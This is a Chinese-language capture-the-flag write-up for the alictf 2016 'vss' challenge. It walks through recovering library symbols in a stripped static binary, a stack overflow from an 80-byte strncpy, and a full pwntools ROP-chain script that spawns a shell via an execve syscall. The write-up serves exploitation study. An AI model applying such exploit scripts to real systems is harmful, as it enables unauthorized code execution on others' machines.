alictf 2016 vss writeup

admin 2021年11月8日08:45:48评论112 views字数 5278阅读17分35秒阅读模式

2016 alictf vss writeup

 

0x01 题目分析

拿到题目加载进ida后直接懵了,去了符号不说,程序的函数还超多,有点不知所措,无从下手的感觉

先用file看下,程序是静态链接的,而且去掉了符号

alictf 2016 vss writeup

把程序跑起来看下,基本上就一个密码验证功能

alictf 2016 vss writeup

对于程序静态编译去符号的问题,第一个想到的就是利用ida的签名文件来识别一些库函数,看看效果,结果发现ida自带的sig文件,识别效果不是很好,识别最多的是libc的库函数,大概识别出来70多个函数

上网搜了下如何有小的识别这些库函数,搜到一个lscan的工具,可以拿来识别静态编译去符号的库函数

github地址https://github.com/maroueneboubakri/lscan

另外科恩实验室的binaryai好像也能实现类似的功能,有相应的ida插件

github地址https://github.com/binaryai/sdk

用lscan去跑了下vss,结果给出的sig文件,加载进去后并没有识别出很多其他函数,放弃,尝试其他方法

在github上搜到一个sig文件的集合,地址https://github.com/push0ebp/sig-database,随便尝试了几个,发现ubuntu14.04下的libc6_2.19能识别到接近800个函数,基本上满足需求了,这里其实可以用lscan来扫描sig-database下的sig文件,不用手动挨个试

alictf 2016 vss writeup

识别后的效果如下

alictf 2016 vss writeup

简单看下程序都干了什么

alictf 2016 vss writeup

程序基本功能为获取一串密码输入,判断输入是否正确,验证函数为sub_40108e,如下所示,汇编有点长,直接截图f5大法了

alictf 2016 vss writeup

函数中sub_400330未能识别出来,简单看了下,猜测应该是strncpy,把输入的password拷贝到v2变量上,然后判断前两个字符是否为py,或者进行下面的变换后和pass.enc文件中的内容进行比对,sub_400360应该是strcmp函数。

 

0x02 漏洞分析

在上述流程中最值得注意的函数就是strncpy拷贝函数,该函数把用户输入的password拷贝到v2变量中,拷贝长度为80个字节

而v2变量在栈上的地址为rbp-0x40即64个字节,所以这里存在溢出问题,可以溢出16个字节,在64位程序中,刚好可以把当前函数的ebp和返回地址给覆盖掉(未开启栈保护,checksec可查看)

 

0x03 漏洞利用

根据上面的分析,在sub_4011B1函数中创建的buffer长度未1024字节,而进入密码验证函数后,会把这个buffer的前80个字节拷贝到密码验证函数中创建的buffer中去,因此在布置shellcode时,需要注意这80个字节。

alictf 2016 vss writeup

根据buf的特点,shellcode的布局如下

alictf 2016 vss writeup

利用ROPgadget --binary vss --ropchain > rop.txt生成rop chain

在rop中找到查找add esp, xxx语句,需满足esp的增加量大于0x50,否则,在函数返回后,esp将不能一次性回复到布置的rop_chain处

在rop信息中查找到一条add esp, 0x58语句,因此在调用函数的buf中,需要填充0x58-80=8字节的无用字节。

exp如下:


from struct import pack
sh = process('./vss')
#gdb.attach(sh, 'b *0x401211')
p = ''
p += pack('<Q', 0x0000000000401937) # pop rsi ; ret
p += pack('<Q', 0x00000000006c4080) # @ .data
p += pack('<Q', 0x000000000046f208) # pop rax ; ret
p += '/bin//sh'
p += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401937) # pop rsi ; ret
p += pack('<Q', 0x00000000006c4088) # @ .data + 8
p += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; ret
p += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401823) # pop rdi ; ret
p += pack('<Q', 0x00000000006c4080) # @ .data
p += pack('<Q', 0x0000000000401937) # pop rsi ; ret
p += pack('<Q', 0x00000000006c4088) # @ .data + 8
p += pack('<Q', 0x000000000043ae05) # pop rdx ; ret
p += pack('<Q', 0x00000000006c4088) # @ .data + 8
p += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x000000000045e790) # add rax, 1 ; ret
p += pack('<Q', 0x00000000004004b8) # syscall
payload = 'py' + 'A'*0x46 + p64(0x000000000046f205) + 'B'*8 + p
sh.sendline(payload)
sh.interactive()

程序中设置了alarm信号,每次收到这个信号的时候,程序会退出

结果如下

alictf 2016 vss writeup

 

至此,已经可以成功执行shell,这里还有一个问题,如果在程序里找不到add esp, xxx 其中xxx大于0x50的语句,要怎么做呢?

这里也是可以做的,只是在调整esp时,需要再前80个字节的合适位置,再填充一个add esp, xxx即可

首先将add esp, 0x58这条语句换成add esp, 0x48,此时,栈上应该是如下布局

alictf 2016 vss writeup

在密码验证函数返回的时候,执行add rsp, 0x48,此时rsp将指向buf中add rsp, 0x48的地方,因此会再次执行add rsp, 0x48,同样可以达到前80个字节以后的buf,因此再填充0x48个长度的无用字节后,放置rop chain即可。


payload = 'py' + 'A'*0x46 + p64(0x000000000046f175) + 'B'*0x48 + p


原文始发于微信公众号(PWN2LUKA):alictf 2016 vss writeup

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年11月8日08:45:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   alictf 2016 vss writeuphttp://cn-sec.com/archives/622026.html

发表评论

匿名网友 填写信息